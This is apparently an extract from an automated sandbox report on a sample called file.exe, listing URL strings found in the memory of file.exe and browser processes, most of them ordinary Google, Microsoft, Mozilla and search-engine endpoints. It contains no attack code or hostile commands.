Source: file.exe, 00000000.00000002.2633990248.00000000239C6000.00000004.00000020.00020000.00000000.sdmp, GIDAECGDAFBAAAAAECGI.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://c.msn.com/
Source: chrome.exe, 00000002.00000002.2357345730.00001FDC004D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419777549.00001FDC00EBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: file.exe, 00000000.00000003.2349608930.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: file.exe, 00000000.00000003.2349608930.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000002.00000002.2416968847.00001FDC00B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000002.00000002.2416968847.00001FDC00B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000002.00000002.2416968847.00001FDC00B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: file.exe, 00000000.00000003.2349608930.0000000001253000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2359621675.00001FDC00678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000002.00000003.2234061760.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2472596056.00004F7C00028000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000002.00000002.2359067732.00001FDC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000002.00000002.2416320755.00001FDC009DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2353581588.00001FDC0001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2359402904.00001FDC00654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416059525.00001FDC00970000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000002.00000002.2359402904.00001FDC00654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: chrome.exe, 00000002.00000003.2256210273.00001FDC00CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237726444.00001FDC00CB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2236723640.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2235752765.00001FDC00CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241933292.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237631868.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241336602.00001FDC00CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241900399.00001FDC00338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234519517.00001FDC00CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234061760.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000002.00000002.2456978476.0000220400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2226117704.000022040071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269010957.0000220400974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000002.00000002.2456978476.0000220400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2226117704.000022040071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269010957.0000220400974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000002.00000002.2456978476.0000220400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2456978476.0000220400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2226117704.000022040071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269010957.0000220400974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000002.00000002.2356028472.00001FDC0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000002.00000002.2356028472.00001FDC0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000002.00000002.2355570474.00001FDC00194000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2472596056.00004F7C00028000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g
Source: chrome.exe, 00000002.00000003.2222648546.00001C08002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2222631786.00001C08002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000002.00000002.2353581588.00001FDC0001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2359402904.00001FDC00654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2472553136.00004F7C0000C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000002.00000002.2353581588.00001FDC0001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crxm
Source: chrome.exe, 00000002.00000002.2416059525.00001FDC00970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000002.00000002.2416059525.00001FDC00970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000002.00000002.2359402904.00001FDC00654000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: file.exe, 00000000.00000002.2633990248.00000000239C6000.00000004.00000020.00020000.00000000.sdmp, GIDAECGDAFBAAAAAECGI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2633990248.00000000239C6000.00000004.00000020.00020000.00000000.sdmp, GIDAECGDAFBAAAAAECGI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: chrome.exe, 00000002.00000002.2416797637.00001FDC00A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.goog
Source: chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.googl0
Source: chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000002.00000002.2420811493.00001FDC01170000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420926351.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267870499.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/
Source: chrome.exe, 00000002.00000002.2416834700.00001FDC00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000002.00000002.2420774161.00001FDC01140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416542194.00001FDC00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000002.00000002.2416542194.00001FDC00A18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapptx
Source: chrome.exe, 00000002.00000002.2416834700.00001FDC00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000002.00000002.2420811493.00001FDC01170000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/dogl
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420666070.00001FDC010AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416834700.00001FDC00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000002.2420666070.00001FDC010AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultlt
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultult
Source: chrome.exe, 00000002.00000002.2420926351.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267870499.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/njb
Source: chrome.exe, 00000002.00000002.2415228786.00001FDC007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415192605.00001FDC00798000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000002.00000002.2415228786.00001FDC007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415192605.00001FDC00798000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000002.00000002.2415228786.00001FDC007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415192605.00001FDC00798000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000002.00000002.2420926351.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2359402904.00001FDC00654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267870499.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/
Source: chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416542194.00001FDC00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000002.00000002.2357201865.00001FDC00480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp0A
Source: chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000002.2420926351.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267870499.00001FDC0129C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/ogl
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2357147154.00001FDC00464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419777549.00001FDC00EBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000002.00000003.2281555577.00001FDC00B6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417026301.00001FDC00B6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2362295136.00001FDC006F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2334989328.00001FDC00B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/
Source: chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2359854107.00001FDC00698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000002.00000002.2419777549.00001FDC00EBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default?ls
Source: chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_defaultPr
Source: chrome.exe, 00000002.00000003.2281555577.00001FDC00B6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417026301.00001FDC00B6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2334989328.00001FDC00B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/oglpH
Source: chrome.exe, 00000002.00000002.2357345730.00001FDC004D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419777549.00001FDC00EBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: file.exe, file.exe, 00000000.00000002.2612006536.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2156925914.000000000501B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642999183.000000006CFD1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp
Source: chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.c
Source: chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.go
Source: chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000002.00000002.2418810827.00001FDC00D88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420774161.00001FDC01140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000002.00000002.2418810827.00001FDC00D88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2ation.Result
Source: chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2ationinished
Source: chrome.exe, 00000002.00000002.2420774161.00001FDC01140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2d
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420774161.00001FDC01140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420578204.00001FDC01084000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416059525.00001FDC00970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000002.00000002.2416059525.00001FDC00970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: file.exe, 00000000.00000003.2349608930.0000000001253000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2349608930.0000000001253000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab0
Source: chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: file.exe, 00000000.00000003.2349608930.0000000001253000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2456978476.0000220400920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/&
Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/(
Source: chrome.exe, 00000002.00000003.2270513848.00001FDC019BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/)
